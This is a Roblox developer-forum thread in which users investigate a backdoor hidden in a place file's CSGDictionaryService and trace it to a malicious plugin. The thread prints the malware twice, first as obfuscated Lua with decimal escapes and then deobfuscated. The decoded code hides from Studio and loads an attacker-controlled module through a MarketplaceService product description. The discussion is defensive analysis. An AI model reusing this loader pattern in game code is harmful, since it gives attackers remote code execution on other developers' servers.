A DNS resolve error is classic when the internet conenction goes out and the request’s IP isn’t cached. The service CSGDictionaryService was recently added – and unfortunately they forgot to lock it. It is a perfect place to hide, the normal explorer doesn’t view it. I’m working on a Roblox Studio IDE right now with custom Lua syntax, and making a custom explorer without funky restrictions on it is on my todo list… in the mean time, my script above in the command bar will capture all scripts hiding out like this (beside the ones installed as plugins, you’ll have to check your plugins directories for that, both local and public).

You are one lucky duck to find this back door before you got stung…

RedDuck765 · December 27, 2018, 4:33pm

Ok. I did also just do this process in an empty baseplate, never run before and only run when internet is disabled. I get the same results, with the edition of this new script:

--PROP   e       �    ScriptGuid   e       {072A3C30-7D23-4963-B22B-71DC3719777B}*95D513B8-C4D7-4E8F-863B-6F8B0F75C3B9}PROP�  'a      �      .Source--

mPS = game['\71\101\116\83\101\114\118\105\99\101'](game, '\77\97\114\107\101\116\112\108\97\99\101\83\101\114\118\105\99\101')pI = mPS['\71\101\116\80\114\111\100\117\99\116\73\110\102\111'](mPS, tonumber('\50\54\53\53\48\54\50\48\51\55')) mf = pI['\68\101\115\99\114\105\112\116\105\111\110'] mf = tonumber(string.match(mf, '%d+')) if game['\71\101\116\83\101\114\118\105\99\101'](game, '\82\117\110\83\101\114\118\105\99\101')['\73\115\83\116\117\100\105\111'](game['\71\101\116\83\101\114\118\105\99\101'](game, '\82\117\110\83\101\114\118\105\99\101'))then return end pcall(function()getfenv()['\114\101\113\117\105\114\101'](mf)[tostring(pI['\78\97\109\101'])](game['\80\108\97\99\101\73\100'])end)


--PROP   e       �    ScriptGuid   e       {072A3C30-7D23-4963-B22B-71DC3719777B}*95D513B8-C4D7-4E8F-863B-6F8B0F75C3B9}PROP�  'a      �      .Source--

Thanks for all of that information and the great pun

IdiomicLanguage · December 27, 2018, 4:35pm

try:
print(game['\71\101\116\83\101\114\118\105\99\101'].Source)
in the command bar

I’m looking into it a bit more…

RedDuck765 · December 27, 2018, 4:36pm

16:35:59.131 - print(game['\71\101\116\83\101\114\118\105\99\101'].Source):1: attempt to index field 'GetService' (a function value)

RedDuck765 · December 27, 2018, 4:37pm

Found something:

After running your code in a ‘broken internet place’, I found these outliers, also explaining why the scripts weren’t showing in explorer:

TweenService.3??29789?̿�
InsertService.?
Debris.3?26350̿???.4?1524???
Debris.5�27600��̿…3̿14861�??

IdiomicLanguage · December 27, 2018, 4:38pm

Those tags before and after, the PROP ones along with the special characters, look like the bytes found in a place file with the new compression system. Has anyone had access to your place file?

RedDuck765 · December 27, 2018, 4:39pm

No. That was a brand new place.

IdiomicLanguage · December 27, 2018, 4:48pm

This is what that obfuscated code above turns into:

mPS = game:GetService('MarketplaceService')
pI = mPS:GetProductInfo(2655062037)
mf = tonumber(string.match(pI.Description, '%d+'))
if game:GetService('RunService'):IsStudio() then
	return
end
pcall(function()
	require(mf)[pI.Name](game.PlaceId)
end)

Basically, it creates the same back door, but only at run time. My question is… how did these files get here? Do these scripts appear in your other places?

RedDuck765 · December 27, 2018, 4:53pm

I don’t know… I am going to check on my laptop with no plugins installed on a really old place that I made when I didn’t know plugins existed.

RedDuck765 · December 27, 2018, 5:00pm

It doesn’t happen on my laptop. Right then:

It has to be a plugin because if it is actively happening when creating new places on my main PC, and not on my laptop, then something malicious has wormed it’s way in though a plugin.

Quinnicious · December 27, 2018, 5:06pm

This looks related to https://devforum.roblox.com/t/new-removal-plugin-sirhurt-server-side-backdoor-location-csgdictionaryservice-inaccessable-outside-of-the-place-xml-file/214491. We had the same issue too. It was a huge annoyance.

RedDuck765 · December 27, 2018, 5:19pm

I dont have access to that… New member

IdiomicLanguage · December 27, 2018, 5:21pm

I’ve pulled all the versions of the module 2679263840. Turns out, there is only one version. Also, this module was created 2018-12-25 at 20:47:09 UTC. That report was from 5 days ago, meaning that the creator actually is requiring a different, new module instead of updating it. We need to find the plugin source to see if it every inserted a script that requires a module that actually has malicious code. Could you upload your plugin directories?

It also means the developer is actively working on this… I wouldn’t run studio any more with your plugins in case he updates it, or sees this discussion since it hasn’t been moved to a private place yet.

RedDuck765 · December 27, 2018, 5:22pm

Sorry was that supposed to be a reply to me? If so how do i find the plugin files?